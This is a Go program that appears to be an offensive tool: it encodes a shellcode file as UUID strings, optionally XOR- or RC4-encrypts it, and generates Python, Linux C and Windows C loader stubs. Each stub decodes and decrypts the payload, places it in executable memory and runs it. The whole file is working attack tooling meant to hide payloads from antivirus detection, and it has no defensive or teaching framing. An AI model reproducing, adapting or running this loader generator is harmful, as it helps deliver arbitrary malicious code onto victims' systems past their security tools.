package main

import (
	"crypto/rand"
	"encoding/binary"
	"flag"
	"fmt"
	"os"
	"text/template"
)

const pythonStub = `import uuid
import mmap
import ctypes

uuids = [
{{- range .UUIDs }}
    '{{ . }}',
{{- end }}
]

print('decoding uuids to shellcode')
shellcode = b''
for u in uuids:
    shellcode += uuid.UUID(u).bytes

shellcode = shellcode[:{{ .OrigLen }}]

{{- if .XORKey }}
print('xor decrypting shellcode')
key = {{ .XORKey }}
shellcode = bytes(b ^ key for b in shellcode)
{{- end }}

{{- if .RC4Key }}
def rc4_crypt(data, key):
    S = list(range(256))
    j = 0
    out = bytearray()
    key = bytearray(key, 'utf-8')

    for i in range(256):
        j = (j + S[i] + key[i % len(key)]) % 256
        S[i], S[j] = S[j], S[i]

    i = j = 0
    for byte in data:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        out.append(byte ^ S[(S[i] + S[j]) % 256])
    return bytes(out)

print('rc4 decrypting shellcode')
rc4_key = "{{ .RC4Key }}"
shellcode = rc4_crypt(shellcode, rc4_key)

{{- end }}

print(f'decoded shellcode length: {len(shellcode)} bytes')

print('calling mmap for memory allocation')
pagesize = mmap.PAGESIZE
size = ((len(shellcode) + pagesize - 1) // pagesize) * pagesize
mem = mmap.mmap(-1, size, prot=mmap.PROT_READ | mmap.PROT_WRITE | mmap.PROT_EXEC)
mem.write(shellcode)

func = ctypes.CFUNCTYPE(None)(ctypes.addressof(ctypes.c_int.from_buffer(mem)))
print('executing shellcode')
func()
`

const cStub = `// gcc -z execstack -fno-stack-protector -no-pie -o stub stub.c
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <ctype.h>
#include <sys/mman.h>

#define ORIGINAL_SHELLCODE_LENGTH {{ .OrigLen }}

const char* uuid_strings[] = {
{{- range .UUIDs }}
    "{{ . }}",
{{- end }}
};

#define UUID_COUNT (sizeof(uuid_strings) / sizeof(uuid_strings[0]))
#define SHELLCODE_TOTAL_LEN (UUID_COUNT * 16)

uint8_t hexchar(char c) {
    if ('0' <= c && c <= '9') return c - '0';
    if ('a' <= c && c <= 'f') return c - 'a' + 10;
    if ('A' <= c && c <= 'F') return c - 'A' + 10;
    return 0;
}

void parse_uuid(const char* str, uint8_t* out) {
    int j = 0;
    for (int i = 0; str[i] != '\0' && j < 16; ) {
        if (str[i] == '-') {
            ++i;
            continue;
        }
        out[j++] = (hexchar(str[i]) << 4) | hexchar(str[i+1]);
        i += 2;
    }
}

uint8_t* decode_uuids() {
	printf("decoding uuids to shellcode\n");
    uint8_t* buf = malloc(SHELLCODE_TOTAL_LEN);
    if (!buf) {
        fprintf(stderr, "malloc failed\n");
        exit(1);
    }
    for (size_t i = 0; i < UUID_COUNT; ++i) {
        parse_uuid(uuid_strings[i], buf + i * 16);
    }
    return buf;
}

{{- if .XORKey }}
void xor_decode(uint8_t *buf, size_t len, uint8_t key) {
	printf("xor decrypting shellcode\n");
    for (size_t i = 0; i < len; ++i)
        buf[i] ^= key;
}
{{- end }}

{{- if .RC4Key }}
void rc4_crypt(uint8_t *data, size_t len, const char *key) {
	printf("rc4 decrypting shellcode\n");
    uint8_t S[256];
    int i, j = 0;
    for (i = 0; i < 256; i++) S[i] = i;
    for (i = 0; i < 256; i++) {
        j = (j + S[i] + key[i % strlen(key)]) & 0xFF;
        uint8_t tmp = S[i]; S[i] = S[j]; S[j] = tmp;
    }
    i = j = 0;
    for (size_t n = 0; n < len; n++) {
        i = (i + 1) & 0xFF;
        j = (j + S[i]) & 0xFF;
        uint8_t tmp = S[i]; S[i] = S[j]; S[j] = tmp;
        data[n] ^= S[(S[i] + S[j]) & 0xFF];
    }
}
{{- end }}

void decrypt_shellcode(uint8_t *buf) {
{{- if .XORKey }}
    xor_decode(buf, SHELLCODE_TOTAL_LEN, {{ .XORKey }});
{{- end }}
{{- if .RC4Key }}
    rc4_crypt(buf, SHELLCODE_TOTAL_LEN, "{{ .RC4Key }}");
{{- end }}
}

int main() {
    uint8_t* shellcode = decode_uuids();
    decrypt_shellcode(shellcode);

    printf("decoded shellcode length: %zu\n", SHELLCODE_TOTAL_LEN);

    printf("calling mmap for memory allocation\n");
    void *exec = mmap(0, SHELLCODE_TOTAL_LEN, PROT_READ | PROT_WRITE | PROT_EXEC,
                      MAP_ANON | MAP_PRIVATE, -1, 0);
    if (exec == MAP_FAILED) {
        perror("mmap");
        return 1;
    }

    printf("executing shellcode\n");
    memcpy(exec, shellcode, ORIGINAL_SHELLCODE_LENGTH);
    ((void(*)())exec)();

    free(shellcode);
    return 0;
}
`

const cWinStub = `// x86_64-w64-mingw32-gcc -o stub.exe stub.c -Wl,--nxcompat -Wl,--dynamicbase
#include <windows.h>
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>

#define ORIGINAL_SHELLCODE_LENGTH {{ .OrigLen }}

const char* uuid_strings[] = {
{{- range .UUIDs }}
    "{{ . }}",
{{- end }}
};

#define UUID_COUNT (sizeof(uuid_strings) / sizeof(uuid_strings[0]))
#define SHELLCODE_TOTAL_LEN (UUID_COUNT * 16)

uint8_t hexchar(char c) {
    if ('0' <= c && c <= '9') return c - '0';
    if ('a' <= c && c <= 'f') return c - 'a' + 10;
    if ('A' <= c && c <= 'F') return c - 'A' + 10;
    return 0;
}

void parse_uuid(const char* str, uint8_t* out) {
    int j = 0;
    for (int i = 0; str[i] != '\0' && j < 16; ) {
        if (str[i] == '-') {
            ++i;
            continue;
        }
        out[j++] = (hexchar(str[i]) << 4) | hexchar(str[i+1]);
        i += 2;
    }
}

uint8_t* decode_uuids(size_t count, size_t* out_len) {
    printf("decoding uuids to shellcode\n");
    uint8_t* buf = (uint8_t*)malloc(count * 16);
    if (!buf) {
        fprintf(stderr, "malloc failed\n");
        exit(1);
    }

    for (size_t i = 0; i < count; ++i) {
        parse_uuid(uuid_strings[i], buf + i * 16);
    }

    *out_len = count * 16;
    return buf;
}

{{- if .XORKey }}
void xor_decode(uint8_t *buf, size_t len, uint8_t key) {
    printf("xor decrypting shellcode\n");
    for (size_t i = 0; i < len; ++i)
        buf[i] ^= key;
}
{{- end }}

{{- if .RC4Key }}
void rc4_crypt(uint8_t *data, size_t len, const char *key) {
    printf("rc4 decrypting shellcode\n");
    uint8_t S[256];
    int i, j = 0;
    for (i = 0; i < 256; i++) S[i] = i;
    for (i = 0; i < 256; i++) {
        j = (j + S[i] + key[i % strlen(key)]) & 0xFF;
        uint8_t tmp = S[i]; S[i] = S[j]; S[j] = tmp;
    }
    i = j = 0;
    for (size_t n = 0; n < len; n++) {
        i = (i + 1) & 0xFF;
        j = (j + S[i]) & 0xFF;
        uint8_t tmp = S[i]; S[i] = S[j]; S[j] = tmp;
        data[n] ^= S[(S[i] + S[j]) & 0xFF];
    }
}
{{- end }}

void decrypt_shellcode(uint8_t *buf) {
{{- if .XORKey }}
    xor_decode(buf, SHELLCODE_TOTAL_LEN, {{ .XORKey }});
{{- end }}
{{- if .RC4Key }}
    rc4_crypt(buf, SHELLCODE_TOTAL_LEN, "{{ .RC4Key }}");
{{- end }}
}

int main() {
    size_t shellcode_len = 0;
    uint8_t* shellcode = decode_uuids(UUID_COUNT, &shellcode_len);

    decrypt_shellcode(shellcode);
    printf("decoded shellcode length: %zu\n", shellcode_len);

    printf("calling VirtualAlloc for memory allocation\n");
    void* exec = VirtualAlloc(NULL, shellcode_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (!exec) {
        fprintf(stderr, "VirtualAlloc failed\n");
        free(shellcode);
        return 1;
    }

    printf("executing shellcode\n");
    memcpy(exec, shellcode, ORIGINAL_SHELLCODE_LENGTH);
    ((void(*)())exec)();

    free(shellcode);
    return 0;
}
`

func main() {
	filePath := flag.String("file", "", "path to binary shellcode file")
	stubLang := flag.String("stub", "", "stub language to output (c, cwin, py)")
	xorFlag := flag.Bool("xor", false, "enable single-byte xor encoding with random key")
        rc4Flag := flag.Bool("rc4", false, "enable rc4 encryption with 16bit random key")
	flag.Parse()

	if *filePath == "" {
		flag.Usage()
		os.Exit(1)
	}

	data, err := os.ReadFile(*filePath)
	if err != nil {
		fmt.Fprintf(os.Stderr, "[err] failed to read file: %v\n", err)
		os.Exit(1)
	}

	origLen := len(data)
	if origLen%16 != 0 {
		fmt.Printf("[inf] shellcode size (%d bytes) is not a multiple of 16, will pad with nullbytes\n", origLen)
		pad := 16 - (origLen % 16)
		data = append(data, make([]byte, pad)...)
	}

        if *xorFlag && *rc4Flag {
                fmt.Fprintf(os.Stderr, "[err] cannot use both xor and rc4\n")
                os.Exit(1)
        }

	var rc4Key []byte
	var xorKey byte = 0

	if *xorFlag {
		key := make([]byte, 1)
		_, err := rand.Read(key)
		if err != nil {
			fmt.Fprintf(os.Stderr, "[err] failed to generate xor key: %v\n", err)
			os.Exit(1)
		}
		xorKey = key[0]
		fmt.Printf("[inf] using xor key: 0x%02x\n", xorKey)

		for i := 0; i < len(data); i++ {
			data[i] ^= xorKey
		}
	} else if *rc4Flag {
			var err error
			rc4Key, err = generateRC4Key()
			if err != nil {
					fmt.Fprintf(os.Stderr, "[err] failed to generate rc4 key: %v\n", err)
					os.Exit(1)
			}
			fmt.Printf("[inf] using rc4 key: %s\n", string(rc4Key))
			data, err = rc4Encrypt(data, rc4Key)
			if err != nil {
					fmt.Fprintf(os.Stderr, "[err] rc4 encryption failed: %v\n", err)
					os.Exit(1)
			}
	}

	var uuids []string
	for i := 0; i < len(data); i += 16 {
		chunk := data[i : i+16]
		uuid := formatAsUUID(chunk)
		uuids = append(uuids, uuid)
		fmt.Println(uuid)
	}

	if *stubLang != "" {
		var stubContent string
		var fileName string

		switch *stubLang {
		case "py":
			stubContent = pythonStub
			fileName = "stub.py"
		case "c":
			stubContent = cStub
			fileName = "stub.c"
		case "cwin":
			stubContent = cWinStub
			fileName = "stub.c"
		default:
			fmt.Fprintf(os.Stderr, "[err] unsupported stub language\n")
			os.Exit(1)
		}

		err := renderTemplateToFile(stubContent, uuids, origLen, xorKey, string(rc4Key), fileName)
		if err != nil {
			fmt.Fprintf(os.Stderr, "[err] failed to write stub: %v\n", err)
			os.Exit(1)
		}
		fmt.Printf("[inf] stub written to %s\n", fileName)
	}
}

func generateRC4Key() ([]byte, error) {
	const charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
	key := make([]byte, 16)
	for i := range key {
		b := make([]byte, 1)
		if _, err := rand.Read(b); err != nil {
			return nil, err
		}
		key[i] = charset[int(b[0])%len(charset)]
	}
	return key, nil
}

func rc4Encrypt(data, key []byte) ([]byte, error) {
	S := [256]byte{}
	T := [256]byte{}
	for i := 0; i < 256; i++ {
		S[i] = byte(i)
		T[i] = key[i%len(key)]
	}

	j := 0
	for i := 0; i < 256; i++ {
		j = (j + int(S[i]) + int(T[i])) % 256
		S[i], S[j] = S[j], S[i]
	}

	i, j := 0, 0
	out := make([]byte, len(data))
	for n := 0; n < len(data); n++ {
		i = (i + 1) % 256
		j = (j + int(S[i])) % 256
		S[i], S[j] = S[j], S[i]
		K := S[(int(S[i])+int(S[j]))%256]
		out[n] = data[n] ^ K
	}
	return out, nil
}

func formatAsUUID(b []byte) string {
	if len(b) != 16 {
		return ""
	}
	return fmt.Sprintf("%08x-%04x-%04x-%04x-%012x",
		binary.BigEndian.Uint32(b[0:4]),
		binary.BigEndian.Uint16(b[4:6]),
		binary.BigEndian.Uint16(b[6:8]),
		binary.BigEndian.Uint16(b[8:10]),
		b[10:16],
	)
}

func renderTemplateToFile(tmplStr string, uuids []string, origLen int, xorKey byte, rc4Key string, fileName string) error {
	tmpl, err := template.New("stub").Parse(tmplStr)
	if err != nil {
		return err
	}

	f, err := os.Create(fileName)
	if err != nil {
		return err
	}
	defer f.Close()

	return tmpl.Execute(f, map[string]interface{}{
		"UUIDs":   uuids,
		"OrigLen": origLen,
		"XORKey":  xorKey,
		"RC4Key":  string(rc4Key),
	})
}